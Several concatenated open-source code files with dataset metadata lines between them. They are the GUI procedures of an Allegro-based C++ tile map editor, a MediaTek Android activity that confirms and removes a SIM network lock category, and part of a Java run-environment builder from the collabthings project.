Tile* cursorTile = currentMap->getLayer(selectedLayer)->getTile(currentMap->screenToTile(Point(gui_mouse_x(), gui_mouse_y())));
if (cursorTile && selectedTile != cursorTile->getType())
{
selectedTile = cursorTile->getType();
scare_mouse();
object_message(&D_TILE, MSG_DRAW, 0);
object_message(&D_TILESET, MSG_DRAW, 0);
unscare_mouse();
}
broadcast_dialog_message(MSG_IDLE, 0);
}
}
else if (map_edit_mode == EM_OBSTACLE)
{
// In tile edit mode: clear tile obstacle settings
while (gui_mouse_b() & 2) {
Tile* cursorTile = currentMap->getLayer(0)->getTile(currentMap->screenToTile(Point(gui_mouse_x(), gui_mouse_y())));
if (cursorTile && cursorTile->obstacle)
{
set_map_changed(true);
cursorTile->obstacle = 0;
scare_mouse();
object_message(d, MSG_DRAW, 0);
unscare_mouse();
}
broadcast_dialog_message(MSG_IDLE, 0);
}
}
else if (map_edit_mode == EM_OBJECTS) {
// Start selection process
selecting = true;
Point start = currentMap->screenToMap(Point(gui_mouse_x(), gui_mouse_y()));
selection_start_x = start.x;
selection_start_y = start.y;
double new_end_x, new_end_y;
selection_end_x = selection_start_x;
selection_end_y = selection_start_y;
list<Object*> objects;
list<Object*>::iterator i;
select_objects(objects);
while (gui_mouse_b() & 2) {
Point start = currentMap->screenToMap(Point(gui_mouse_x(), gui_mouse_y()));
new_end_x = (float)start.x;
new_end_y = (float)start.y;
if (new_end_x != selection_end_x || new_end_y != selection_end_y) {
selection_end_x = int(new_end_x);
selection_end_y = int(new_end_y);
// Select the objects within the rectangle
objects.clear();
for (i = currentMap->objects.begin(); i != currentMap->objects.end(); i++) {
Point pos = (*i)->pos;
Point start, end;
if (selection_start_x < selection_end_x) {
if (selection_start_y < selection_end_y) {
start = Point(selection_start_x, selection_start_y);
end = Point(selection_end_x, selection_end_y);
} else {
start = Point(selection_start_x, selection_end_y);
end = Point(selection_end_x, selection_start_y);
}
} else {
if (selection_start_y < selection_end_y) {
start = Point(selection_end_x, selection_start_y);
end = Point(selection_start_x, selection_end_y);
} else {
start = Point(selection_end_x, selection_end_y);
end = Point(selection_start_x, selection_start_y);
}
}
if (pos.x > start.x &&
pos.y > start.y &&
pos.x < end.x &&
pos.y < end.y) {
objects.push_back((*i));
}
}
select_objects(objects);
scare_mouse();
object_message(d, MSG_DRAW, 0);
unscare_mouse();
}
broadcast_dialog_message(MSG_IDLE, 0);
}
selecting = false;
d->flags |= D_DIRTY;
}
}
break;
}
return D_O_K;
}
int d_bjorn_tile_proc(int msg, DIALOG *d, int c)
{
switch (msg)
{
case MSG_DRAW:
rectfill(buffer,
d->x, d->y, d->x + d->w - 1, d->y + d->h - 1,
makecol(int(128 * brightness),int(128 * brightness),int(128 * brightness)));
if (selectedTile && selectedTile->getBitmap()) {
stretch_sprite(buffer, selectedTile->getBitmap(), d->x, d->y, d->w, d->h);
if (showTileGrid) {
int i;
for (i = 1; i < selectedTile->getBitmap()->w; i++) {
vline(buffer, d->x + ((i * d->w) / selectedTile->getBitmap()->w), d->y, d->y + d->h - 1, makecol(0,0,0));
}
for (i = 1; i < selectedTile->getBitmap()->h; i++) {
hline(buffer, d->x, d->y + ((i * d->h) / selectedTile->getBitmap()->h), d->x + d->w - 1, makecol(0,0,0));
}
}
}
update_screen(d->x, d->y, d->w, d->h);
break;
case MSG_WANTFOCUS:
return D_WANTFOCUS;
case MSG_CHAR:
{
int key = c >> 8;
// Floodfill
if (key == KEY_F && (d->flags & D_GOTMOUSE))
{
if (selectedTile && selectedTile->getBitmap())
{
BITMAP* tileBitmap = selectedTile->getBitmap();
int x = ((gui_mouse_x() - d->x) * tileBitmap->w) / d->w;
int y = ((gui_mouse_y() - d->y) * tileBitmap->h) / d->h;
int selColor = makecol(selectedColor[S_R], selectedColor[S_G], selectedColor[S_B]);
if (getpixel(tileBitmap, x, y) != selColor)
{
floodfill(tileBitmap, x, y, selColor);
scare_mouse();
object_message(d, MSG_DRAW, 0);
object_message(&D_MAP, MSG_DRAW, 0);
object_message(&D_TILESET, MSG_DRAW, 0);
unscare_mouse();
}
}
return D_USED_CHAR;
}
}
break;
case MSG_CLICK:
if (selectedTile && selectedTile->getBitmap())
{
BITMAP* tileBitmap = selectedTile->getBitmap();
if (gui_mouse_b() & 1)
{
// Paint with the selected color
while (gui_mouse_b() & 1)
{
int x = ((gui_mouse_x() - d->x) * tileBitmap->w) / d->w;
int y = ((gui_mouse_y() - d->y) * tileBitmap->h) / d->h;
int prev_color = getpixel(tileBitmap, x, y);
putpixel(tileBitmap, x, y, makecol(selectedColor[S_R], selectedColor[S_G], selectedColor[S_B]));
if (prev_color != getpixel(tileBitmap, x, y))
{
scare_mouse();
object_message(d, MSG_DRAW, 0);
object_message(&D_MAP, MSG_DRAW, 0);
object_message(&D_TILESET, MSG_DRAW, 0);
unscare_mouse();
}
broadcast_dialog_message(MSG_IDLE, 0);
}
}
else
{
// Grab the color
while (gui_mouse_b() & 2)
{
int x = ((gui_mouse_x() - d->x) * tileBitmap->w) / d->w;
int y = ((gui_mouse_y() - d->y) * tileBitmap->h) / d->h;
if (x >= 0 && y >= 0 && x < tileBitmap->w && y < tileBitmap->h) {
int color = getpixel(tileBitmap, x, y);
update_color(&selectedColor[S_R], getr(color));
update_color(&selectedColor[S_G], getg(color));
update_color(&selectedColor[S_B], getb(color));
}
broadcast_dialog_message(MSG_IDLE, 0);
}
}
}
break;
case MSG_IDLE:
if (d->flags & D_GOTMOUSE && selectedTile && selectedTile->getBitmap())
{
BITMAP* tileBitmap = selectedTile->getBitmap();
int x = ((gui_mouse_x() - d->x) * tileBitmap->w) / d->w;
int y = ((gui_mouse_y() - d->y) * tileBitmap->h) / d->h;
if (x >= 0 && y >= 0 && x < tileBitmap->w && y < tileBitmap->h)
{
// Update status message to mouse tile coordinates
uszprintf(status_message, 1024, "Tile: %s Position: (%d, %d)", selectedTile->getName(), x, y);
}
}
break;
case MSG_LOSTMOUSE:
status_message[0] = '\0';
//uszprintf(status_message, 1024, "");
break;
}
return D_O_K;
}
int d_bjorn_check_grid(int msg, DIALOG *d, int c)
{
int selected = d->flags & D_SELECTED;
int ret = d_agup_check_proc(msg, d, 0);
if (msg == MSG_START) {
if (showTileGrid) d->flags |= D_SELECTED;
else d->flags &= ~D_SELECTED;
}
showTileGrid = d->flags & D_SELECTED;
if (selected != (d->flags & D_SELECTED)) {D_TILE.flags |= D_DIRTY;}
return ret;
}
int d_bjorn_check_snap(int msg, DIALOG *d, int c)
{
//int selected = d->flags & D_SELECTED;
int ret = d_agup_check_proc(msg, d, 0);
if (msg == MSG_START) {
if (snapToGrid) d->flags |= D_SELECTED;
else d->flags &= ~D_SELECTED;
}
snapToGrid = d->flags & D_SELECTED;
//if (selected != (d->flags & D_SELECTED)) {D_TILE.flags |= D_DIRTY;}
return ret;
}
/* This slider is like a normal slider, but it synchronizes it's
* position with the variable pointed to by dp3
*/
int d_bjorn_slider_proc(int msg, DIALOG *d, int c)
{
int *color = (int*)d->dp3;
switch (msg)
{
case MSG_START:
/* Initialise the slider position */
d->d2 = *color;
break;
case MSG_IDLE:
/* Update slider when neccesary */
if (d->d2 != *color) {
d->d2 = *color;
scare_mouse();
object_message(d, MSG_DRAW, 0);
unscare_mouse();
}
break;
}
return d_agup_slider_proc(msg, d, c);
}
int update_color(void *dp3, int d2)
{
int type = ((unsigned long)dp3 - (unsigned long)selectedColor) / sizeof(selectedColor[0]);
int r, g, b;
float h, s, v;
if (selectedColor[type] != d2) {
selectedColor[type] = d2;
if ((type == S_R) || (type == S_G) || (type == S_B)) {
/* Convert RGB color to HSV */
r = selectedColor[S_R];
g = selectedColor[S_G];
b = selectedColor[S_B];
rgb_to_hsv(r, g, b, &h, &s, &v);
selectedColor[S_H] = (int)(h * 255.0 / 360.0);
selectedColor[S_S] = (int)(s * 255.0);
selectedColor[S_V] = (int)(v * 255.0);
}
else {
/* Convert HSV color to RGB */
h = selectedColor[S_H] * 360.0 / 255.0;
s = selectedColor[S_S] / 255.0;
v = selectedColor[S_V] / 255.0;
hsv_to_rgb(h, s, v, &r, &g, &b);
selectedColor[S_R] = r;
selectedColor[S_G] = g;
selectedColor[S_B] = b;
}
}
return D_O_K;
}
int d_bjorn_color_proc(int msg, DIALOG *d, int c)
{
if (msg == MSG_DRAW)
{
int ret = d_agup_box_proc(msg, d, c);
rectfill(screen, d->x + 2, d->y + 2, d->x + d->w - 3, d->y + d->h - 3, d->d2);
return ret;
}
else if (msg == MSG_IDLE)
{
int color = 0;
switch (d->d1)
{
case S_R: color = makecol(selectedColor[S_R], 0, 0); break;
case S_G: color = makecol(0, selectedColor[S_G], 0); break;
case S_B: color = makecol(0, 0, selectedColor[S_B]); break;
case S_C: color = makecol(selectedColor[S_R], selectedColor[S_G], selectedColor[S_B]); break;
}
if (d->d2 != color) {
d->d2 = color;
scare_mouse();
object_message(d, MSG_DRAW, 0);
unscare_mouse();
}
return d_agup_box_proc(msg, d, c);
}
else
{
return d_agup_box_proc(msg, d, c);
}
}
/*
* When this proc is clicked, it will close the dialog.
* Is used for close-on-click at about box.
*/
int d_bjorn_close_proc(int msg, DIALOG *d, int c)
{
if (msg == MSG_CLICK) {
while (gui_mouse_b()) {;}
return D_CLOSE;
} else {
return D_O_K;
}
}
/*
* A standard d_agup_edit_proc but this one will call
* a callback function specified by dp2 when it loses
* focus. The function should be of the form:
*
* void lost_focus(DIALOG *d);
*/
int d_bjorn_edit_proc(int msg, DIALOG *d, int c)
{
if (msg == MSG_LOSTFOCUS && d->dp2)
{
((void (*)(struct DIALOG *))d->dp2)(d);
}
return d_agup_edit_proc(msg, d, c);
}
char *list_objects(int index, int *list_size)
{
if (index >= 0)
{
return objectTypes[index];
}
else
{
*list_size = objectTypes.size();
return NULL;
}
}
int d_bjorn_objects_list(int msg, DIALOG *d, int c)
{
int ret;
//int selected = d->d1;
ret = d_agup_list_proc(msg, d, c);
if (msg == MSG_START) {
d->d1 = selectedObjectType;
}
/*
if (d->d1 != selected || msg == MSG_START) {
// Refresh the active tileset according to the new selection.
char tempTilename[256];
vector<TileType*> tileTypes;
vector<TileType*>::iterator i;
activeTileset.clear();
tileTypes = tileRepository->generateTileArray();
for (i = tileTypes.begin(); i != tileTypes.end(); i++)
{
replace_extension(tempTilename, (*i)->getName(), "bmp", 256);
if (ustrcmp(tileSets[d->d1], tempTilename) == 0) {
activeTileset.push_back(*i);
}
}
object_message(&D_TILESET, MSG_NEW_TILESET, 0);
}
*/
selectedObjectType = d->d1;
return ret;
}
char *list_tilesets(int index, int *list_size)
{
if (index >= 0)
{
return tileSets[index];
}
else
{
*list_size = tileSets.size();
return NULL;
}
}
int d_bjorn_tileset_list(int msg, DIALOG *d, int c)
{
int ret;
int selected = d->d1;
ret = d_agup_list_proc(msg, d, c);
if (msg == MSG_START) {
d->d1 = selectedTileset;
}
if (d->d1 != selected || msg == MSG_START) {
// Refresh the active tileset according to the new selection.
char tempTilename[256];
vector<TileType*> tileTypes;
vector<TileType*>::iterator i;
activeTileset.clear();
tileTypes = tileRepository->generateTileArray();
for (i = tileTypes.begin(); i != tileTypes.end(); i++)
{
replace_extension(tempTilename, (*i)->getName(), "bmp", 256);
if (ustrcmp(tileSets[d->d1], tempTilename) == 0) {
activeTileset.push_back(*i);
}
}
object_message(&D_TILESET, MSG_NEW_TILESET, 0);
}
selectedTileset = d->d1;
return ret;
}
int d_bjorn_tileset(int msg, DIALOG *d, int c)
{
unsigned int tile_w = 0;
unsigned int tile_h = 0;
int nr_tiles = 0;
int total_height = 0;
unsigned int tiles_in_row = 0;
if (activeTileset.size() > 0)
{
tile_w = (activeTileset[0]->getBitmap())->w;
tile_h = (activeTileset[0]->getBitmap())->h;
nr_tiles = activeTileset.size();
tiles_in_row = (d->w - 1) / (tile_w + 1);
if (tiles_in_row > 0) {
total_height = ((nr_tiles + tiles_in_row - 1) / tiles_in_row) * (tile_h + 1) + 1;
}
}
switch (msg)
{
case MSG_START:
D_TILESET_SCROLL.dp = &D_TILESET;
break;
case MSG_DRAW:
{
rectfill(buffer, d->x, d->y, d->x + d->w - 1, d->y + d->h - 1, makecol(int(128 * brightness),int(128 * brightness),int(128 * brightness)));
int start_y = (D_TILESET_SCROLL.d2 / (tile_h + 1));
unsigned int end_y = start_y + (d->h - 1) / (tile_h + 1) + 1;
// Draw the tiles
for (unsigned int y = start_y; y <= end_y; y++) {
for (unsigned int x = 0; x < tiles_in_row; x++) {
if (x + y * (tiles_in_row) < activeTileset.size()) {
BITMAP* tileBmp = activeTileset[x + y * tiles_in_row]->getBitmap();
int tile_x = x * (tile_w + 1) + d->x + 1;
int tile_y = y * (tile_h + 1) + d->y + 1 - D_TILESET_SCROLL.d2;
draw_sprite(buffer, tileBmp, tile_x, tile_y);
if (activeTileset[x + y * tiles_in_row] == selectedTile) {
set_trans_blender(0,0,0,128);
drawing_mode(DRAW_MODE_TRANS, NULL, 0, 0);
hline(buffer, tile_x, tile_y, tile_x + tile_w - 2, makecol(255,255,255));
vline(buffer, tile_x, tile_y + 1, tile_y + tile_w - 2, makecol(255,255,255));
hline(buffer, tile_x, tile_y + tile_w - 1, tile_x + tile_w - 1, makecol(0,0,0));
vline(buffer, tile_x + tile_w - 1, tile_y, tile_y + tile_w - 2, makecol(0,0,0));
drawing_mode(DRAW_MODE_SOLID, NULL, 0, 0);
}
}
}
}
update_screen(d->x, d->y, d->w, d->h);
}
break;
case MSG_NEW_TILESET:
D_TILESET_SCROLL.d1 = total_height;
D_TILESET_SCROLL.d2 = 0;
D_TILESET_SCROLL.flags |= D_DIRTY;
d->flags |= D_DIRTY;
break;
case MSG_CLICK:
if (gui_mouse_b())
{
while (gui_mouse_b())
{
int mouse_x = gui_mouse_x();
int mouse_y = gui_mouse_y();
unsigned int x = (mouse_x - d->x) / (tile_w + 1);
unsigned int y = (mouse_y - d->y + D_TILESET_SCROLL.d2) / (tile_h + 1);
x = MAX(0, MIN(tiles_in_row - 1, x));
y = MAX(0, MIN(nr_tiles / tiles_in_row, y));
if (x + y * tiles_in_row < activeTileset.size())
{
if (activeTileset[x + y * tiles_in_row] != selectedTile)
{
selectedTile = activeTileset[x + y * tiles_in_row];
scare_mouse();
object_message(&D_TILE, MSG_DRAW, 0);
object_message(d, MSG_DRAW, 0);
unscare_mouse();
}
}
broadcast_dialog_message(MSG_IDLE, 0);
}
}
break;
case MSG_IDLE:
if (d->flags & D_GOTMOUSE) {
int mouse_x = gui_mouse_x();
int mouse_y = gui_mouse_y();
unsigned int x = (mouse_x - d->x) / (tile_w + 1);
unsigned int y = (mouse_y - d->y + D_TILESET_SCROLL.d2) / (tile_h + 1);
x = MAX(0, MIN(tiles_in_row - 1, x));
y = MAX(0, MIN(nr_tiles / tiles_in_row, y));
if (x + y * tiles_in_row < activeTileset.size()) {
uszprintf(status_message, 1024, "Tile: %s", activeTileset[x + y * tiles_in_row]->getName());
} else {
status_message[0] = '\0';
}
}
break;
case MSG_LOSTMOUSE:
status_message[0] = '\0';
break;
}
return D_O_K;
}
int d_bjorn_autotext_proc(int msg, DIALOG *d, int c)
{
switch (msg)
{
case MSG_IDLE:
// Check if the text string has changed
if (d->dp && d->dp2) {
if (ustrcmp((char*)d->dp, (char*)d->dp2) != 0) {
ustrncpy((char*)d->dp, (char*)d->dp2, 1024);
scare_mouse();
object_message(d, MSG_DRAW, 0);
unscare_mouse();
}
}
break;
case MSG_START:
d->dp = new char[1024];
ustrcpy((char*)d->dp, "");
return d_text_proc(msg, d, c);
break;
case MSG_END:
{
int ret = d_text_proc(msg, d, c);
delete (char*)d->dp;
return ret;
}
break;
case MSG_DRAW:
rectfill(buffer, d->x, d->y, d->x + d->w - 1, d->y + d->h - 1, d->bg);
if (d->dp) {
int ptm = text_mode(-1);
textout(buffer, font, (char*)d->dp, d->x, d->y, d->fg);
text_mode(ptm);
}
update_screen(d->x, d->y, d->w, d->h);
break;
}
return D_O_K;
}
int d_bjorn_obs_preset_proc(int msg, DIALOG *d, int c)
{
switch (msg)
{
case MSG_DRAW:
if (selectedObstacle == d->d1) {
rectfill(buffer, d->x, d->y, d->x + d->w - 1, d->y + d->h - 1, makecol(64,64,64));
} else {
rectfill(buffer, d->x, d->y, d->x + d->w - 1, d->y + d->h - 1, d->bg);
}
if (d->d1 & OB_TOP) {
line(buffer, d->x + 2, d->y + 2, d->x + d->w - 3, d->y + 2, makecol(255,0,0));
line(buffer, d->x + 3, d->y + 3, d->x + d->w - 2, d->y + 3, makecol(0,0,0));
}
if (d->d1 & OB_LEFT) {
line(buffer, d->x + 2, d->y + 2, d->x + 2, d->y + d->h - 3, makecol(255,0,0));
line(buffer, d->x + 3, d->y + 3, d->x + 3, d->y + d->h - 2, makecol(0,0,0));
}
if (d->d1 & OB_RIGHT) {
line(buffer, d->x + d->w - 3, d->y + 2, d->x + d->w - 3, d->y + d->h - 3, makecol(255,0,0));
line(buffer, d->x + d->w - 2, d->y + 3, d->x + d->w - 2, d->y + d->h - 2, makecol(0,0,0));
}
if (d->d1 & OB_BOTTOM) {
line(buffer, d->x + 2, d->y + d->h - 3, d->x + d->w - 3, d->y + d->h - 3, makecol(255,0,0));
line(buffer, d->x + 3, d->y + d->h - 2, d->x + d->w - 2, d->y + d->h - 2, makecol(0,0,0));
}
update_screen(d->x, d->y, d->w, d->h);
break;
case MSG_CLICK:
if (gui_mouse_b())
{
int nowhere;
selectedObstacle = d->d1;
dialog_message(&main_dlg[MAIN_START_OF_NULL + 5], MSG_DRAW, 0, &nowhere);
while (gui_mouse_b()) {
broadcast_dialog_message(MSG_IDLE, 0);
}
}
}
return D_O_K;
}
int d_bjorn_obs_proc(int msg, DIALOG *d, int c)
{
return d_bjorn_obs_preset_proc(msg, d, c);
}
void resizemap_change(DIALOG *d)
{
int inew_map_w = ustrtol((char*)resizemap_dlg[3].dp, NULL, 10);
int inew_map_h = ustrtol((char*)resizemap_dlg[4].dp, NULL, 10);
int itop = ustrtol((char*)resizemap_dlg[7].dp, NULL, 10);
int ibottom = ustrtol((char*)resizemap_dlg[8].dp, NULL, 10);
int ileft = ustrtol((char*)resizemap_dlg[11].dp, NULL, 10);
int iright = ustrtol((char*)resizemap_dlg[12].dp, NULL, 10);
if (d == &resizemap_dlg[3] && (inew_map_w - currentMap->getWidth() - ileft - iright != 0)) {
ileft = 0;
iright = inew_map_w - currentMap->getWidth();
resizemap_dlg[11].flags |= D_DIRTY;
resizemap_dlg[12].flags |= D_DIRTY;
}
if (d == &resizemap_dlg[4] && (inew_map_h - currentMap->getHeight() - itop - ibottom != 0)) {
itop = 0;
ibottom = inew_map_h - currentMap->getHeight();
resizemap_dlg[7].flags |= D_DIRTY;
resizemap_dlg[8].flags |= D_DIRTY;
}
if (d == &resizemap_dlg[7]) {
ibottom = inew_map_h - currentMap->getHeight() - itop;
resizemap_dlg[8].flags |= D_DIRTY;
}
if (d == &resizemap_dlg[8]) {
itop = inew_map_h - currentMap->getHeight() - ibottom;
resizemap_dlg[7].flags |= D_DIRTY;
}
if (d == &resizemap_dlg[11]) {
iright = inew_map_w - currentMap->getWidth() - ileft;
resizemap_dlg[12].flags |= D_DIRTY;
}
if (d == &resizemap_dlg[12]) {
ileft = inew_map_w - currentMap->getWidth() - iright;
resizemap_dlg[11].flags |= D_DIRTY;
}
uszprintf((char*)resizemap_dlg[3].dp, 8, "%d", inew_map_w);
uszprintf((char*)resizemap_dlg[4].dp, 8, "%d", inew_map_h);
uszprintf((char*)resizemap_dlg[7].dp, 8, "%d", itop);
uszprintf((char*)resizemap_dlg[8].dp, 8, "%d", ibottom);
uszprintf((char*)resizemap_dlg[11].dp, 8, "%d", ileft);
uszprintf((char*)resizemap_dlg[12].dp, 8, "%d", iright);
}
| gpl-2.0 |
rex-xxx/mt6572_x201 | mediatek/packages/apps/SimLock/src/com/mediatek/simmelock/RemoveSetting.java | 8923 | /* Copyright Statement:
*
* This software/firmware and related documentation ("MediaTek Software") are
* protected under relevant copyright laws. The information contained herein is
* confidential and proprietary to MediaTek Inc. and/or its licensors. Without
* the prior written permission of MediaTek inc. and/or its licensors, any
* reproduction, modification, use or disclosure of MediaTek Software, and
* information contained herein, in whole or in part, shall be strictly
* prohibited.
*
* MediaTek Inc. (C) 2010. All rights reserved.
*
* BY OPENING THIS FILE, RECEIVER HEREBY UNEQUIVOCALLY ACKNOWLEDGES AND AGREES
* THAT THE SOFTWARE/FIRMWARE AND ITS DOCUMENTATIONS ("MEDIATEK SOFTWARE")
* RECEIVED FROM MEDIATEK AND/OR ITS REPRESENTATIVES ARE PROVIDED TO RECEIVER
* ON AN "AS-IS" BASIS ONLY. MEDIATEK EXPRESSLY DISCLAIMS ANY AND ALL
* WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED
* WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE OR
* NONINFRINGEMENT. NEITHER DOES MEDIATEK PROVIDE ANY WARRANTY WHATSOEVER WITH
* RESPECT TO THE SOFTWARE OF ANY THIRD PARTY WHICH MAY BE USED BY,
* INCORPORATED IN, OR SUPPLIED WITH THE MEDIATEK SOFTWARE, AND RECEIVER AGREES
* TO LOOK ONLY TO SUCH THIRD PARTY FOR ANY WARRANTY CLAIM RELATING THERETO.
* RECEIVER EXPRESSLY ACKNOWLEDGES THAT IT IS RECEIVER'S SOLE RESPONSIBILITY TO
* OBTAIN FROM ANY THIRD PARTY ALL PROPER LICENSES CONTAINED IN MEDIATEK
* SOFTWARE. MEDIATEK SHALL ALSO NOT BE RESPONSIBLE FOR ANY MEDIATEK SOFTWARE
* RELEASES MADE TO RECEIVER'S SPECIFICATION OR TO CONFORM TO A PARTICULAR
* STANDARD OR OPEN FORUM. RECEIVER'S SOLE AND EXCLUSIVE REMEDY AND MEDIATEK'S
* ENTIRE AND CUMULATIVE LIABILITY WITH RESPECT TO THE MEDIATEK SOFTWARE
* RELEASED HEREUNDER WILL BE, AT MEDIATEK'S OPTION, TO REVISE OR REPLACE THE
* MEDIATEK SOFTWARE AT ISSUE, OR REFUND ANY SOFTWARE LICENSE FEES OR SERVICE
* CHARGE PAID BY RECEIVER TO MEDIATEK FOR SUCH MEDIATEK SOFTWARE AT ISSUE.
*
* The following software/firmware and/or related documentation ("MediaTek
* Software") have been modified by MediaTek Inc. All revisions are subject to
* any receiver's applicable license agreements with MediaTek Inc.
*/
package com.android.simmelock;
import android.app.Activity;
import android.app.AlertDialog;
import android.app.Dialog;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.AsyncResult;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.view.KeyEvent;
import android.widget.Toast;
import com.android.internal.telephony.Phone;
import com.android.internal.telephony.PhoneBase;
import com.android.internal.telephony.PhoneConstants;
import com.android.internal.telephony.PhoneFactory;
import com.android.internal.telephony.gemini.GeminiPhone;
import com.android.internal.telephony.IccCard;
import com.mediatek.common.featureoption.FeatureOption;
public class RemoveSetting extends Activity implements DialogInterface.OnKeyListener {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.removesetting);
IntentFilter intentFilter = new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED);
registerReceiver(mReceiver, intentFilter);
// set the title
bundle = this.getIntent().getExtras();
if (bundle != null) {
lockCategory = bundle.getInt(ActionList.LOCKCATEGORY, -1);
}
if (lockCategory == -1) {
finish();
return;
}
lockName = getLockName(lockCategory);
this.setTitle(lockName);
// show a alert dialog
showDialog(DIALOG_REMOVELOCK);
}
private String getLockName(final int locktype) {
switch (locktype) {
case 0:
return getString(R.string.strLockNameNetwork);
case 1:
return getString(R.string.strLockNameNetworkSub);
case 2:
return getString(R.string.strLockNameService);
case 3:
return getString(R.string.strLockNameCorporate);
case 4:
return getString(R.string.strLockNameSIM);
default:
return getString(R.string.simmelock_name);
}
}
@Override
protected Dialog onCreateDialog(int id) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setCancelable(false).setTitle(R.string.strAttention).setIcon(android.R.drawable.ic_dialog_alert).setMessage(
R.string.strConfirmRemove).setOnKeyListener(this).setPositiveButton(R.string.strConfirm,
new DialogInterface.OnClickListener() {
public void onClick(DialogInterface arg0, int arg1) {
// Remove a lock
// whether some lock category is disabled?
Message callback = Message.obtain(mHandler, REMOVELOCK_ICC_SML_COMPLETE);
if (!FeatureOption.MTK_GEMINI_SUPPORT) {
// Single SIM: directly remove a lock
// Single Card:
Phone phone = PhoneFactory.getDefaultPhone();
phone.getIccCard().setIccNetworkLockEnabled(lockCategory, 3, null, null, null, null, callback);
} else {
// Gemini SIM:remove the given SIM 's lock
// Framework to do remove action
GeminiPhone mGeminiPhone = (GeminiPhone) PhoneFactory.getDefaultPhone();
intSIMNumber = bundle.getInt("SIMNo");
if (intSIMNumber == 0) {
mGeminiPhone.getIccCardGemini(PhoneConstants.GEMINI_SIM_1).setIccNetworkLockEnabled(lockCategory, 3,
null, null, null, null, callback);
// editPwdProcess(et, "12345678");
// //compare with the true password
// "lockPassword"
} else {
mGeminiPhone.getIccCardGemini(PhoneConstants.GEMINI_SIM_2).setIccNetworkLockEnabled(lockCategory, 3,
null, null, null, null, callback);
// editPwdProcess(et, "12345678");
// //compare with the true password
// "lockPassword"
}
}
finish();
}
}).setNegativeButton(R.string.strCancel, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface arg0, int arg1) {
finish();
}
}).show();
return super.onCreateDialog(id);
}
protected void onDestroy() {
super.onDestroy();
unregisterReceiver(mReceiver);
}
public boolean onKey(DialogInterface arg0, int arg1, KeyEvent arg2) {
if (arg2.getKeyCode() == KeyEvent.KEYCODE_BACK) {
arg0.dismiss();
finish();
return true;
}
return false;
}
private Handler mHandler = new Handler() {
public void handleMessage(Message msg) {
AsyncResult ar = (AsyncResult) msg.obj;
switch (msg.what) {
case REMOVELOCK_ICC_SML_COMPLETE:
if (ar.exception != null) {
// Toast.makeText(RemoveSetting.this, "Remove lock fail",
// Toast.LENGTH_LONG).show();
// showDialog(DIALOG_REMOVEFAIL);
} else {
// Toast.makeText(RemoveSetting.this,
// "Remove lock succeed!", Toast.LENGTH_LONG).show();
RemoveSetting.this.finish();
}
break;
default:
break;
}
}
};
private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
public void onReceive(Context context, Intent intent) {
String action = intent.getAction();
if (action.equals(Intent.ACTION_AIRPLANE_MODE_CHANGED)) {
finish();
}
}
};
/******************************************/
/*** values list ***/
/******************************************/
static int DIALOG_REMOVELOCK = 1;
private String lockName = null;
int intSIMNumber = 0;
Bundle bundle = null;
int lockCategory = 0;
private static final int REMOVELOCK_ICC_SML_COMPLETE = 120;
}
| gpl-2.0 |
jeukku/collabthings | src/main/java/org/collabthings/model/run/impl/CTRunEnvironmentBuilderImpl.java | 4999 | /*******************************************************************************
* Copyright (c) 2014 Juuso Vilmunen.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the GNU Public License v3.0
* which accompanies this distribution, and is available at
* http://www.gnu.org/licenses/gpl.html
*
* Contributors:
* Juuso Vilmunen
******************************************************************************/
package org.collabthings.model.run.impl;
import java.util.HashMap;
import java.util.Map;
import javax.script.ScriptException;
import org.collabthings.CTClient;
import org.collabthings.environment.CTRunEnvironment;
import org.collabthings.environment.impl.CTFactoryState;
import org.collabthings.model.CTEnvironment;
import org.collabthings.model.CTFactory;
import org.collabthings.model.CTScript;
import org.collabthings.model.impl.CTEnvironmentImpl;
import org.collabthings.model.run.CTRunEnvironmentBuilder;
import org.collabthings.util.CResourcesReader;
import org.collabthings.util.LLog;
import org.collabthings.util.PrintOut;
import org.collabthings.util.ShortHashID;
import waazdoh.client.ServiceObject;
import waazdoh.client.ServiceObjectData;
import waazdoh.common.MStringID;
import waazdoh.common.ObjectID;
import waazdoh.common.WObject;
public class CTRunEnvironmentBuilderImpl implements CTRunEnvironmentBuilder, ServiceObjectData {
private static final String BEANNAME = "runenvbuilder";
//
private CTClient client;
private ServiceObject o;
//
private CTEnvironment env;
private LLog log;
private String name = "envbuilder";
private Map<String, String> storageread = new HashMap<>();
public CTRunEnvironmentBuilderImpl(CTClient nclient) {
this.client = nclient;
env = new CTEnvironmentImpl(nclient);
CTScript initscript = nclient.getObjectFactory().getScript();
initscript.setScript("function run() {}\nfunction info() {}\n");
CResourcesReader r = new CResourcesReader("templates/runenvbuilder.js");
if (r.isSuccess()) {
initscript.setScript(r.getText());
}
env.addScript("init", initscript);
o = new ServiceObject(BEANNAME, nclient.getClient(), this, nclient.getVersion(), nclient.getPrefix());
}
public CTRunEnvironmentBuilderImpl(CTClient nclient, MStringID idValue) {
this.client = nclient;
o = new ServiceObject(BEANNAME, nclient.getClient(), this, nclient.getVersion(), nclient.getPrefix());
o.load(idValue);
}
@Override
public boolean load(MStringID id) {
return o.load(id);
}
public CTFactoryState createFactoryState(String name, String id) {
CTFactory f = client.getObjectFactory().getFactory(new MStringID(id));
CTFactoryState state = new CTFactoryState(client, env, name, f);
return state;
}
@Override
public CTRunEnvironment getRunEnvironment() {
CTScript s = getEnvironment().getScript("init");
try {
return (CTRunEnvironment) s.getInvocable().invokeFunction("run", this);
} catch (NoSuchMethodException | ScriptException e) {
getLogger().error(this, "getRunEnvironment", e);
return null;
}
}
@Override
public CTEnvironment getEnvironment() {
return env;
}
@Override
public ObjectID getID() {
return this.o.getID();
}
@Override
public String toString() {
return "REB[" + new ShortHashID(getID().getStringID()) + "]";
}
@Override
public String getName() {
return name;
}
@Override
public void setName(String name) {
this.name = name;
}
@Override
public WObject getObject() {
WObject b = o.getBean();
b.addValue("name", getName());
b.addValue("envid", env.getID());
return b;
}
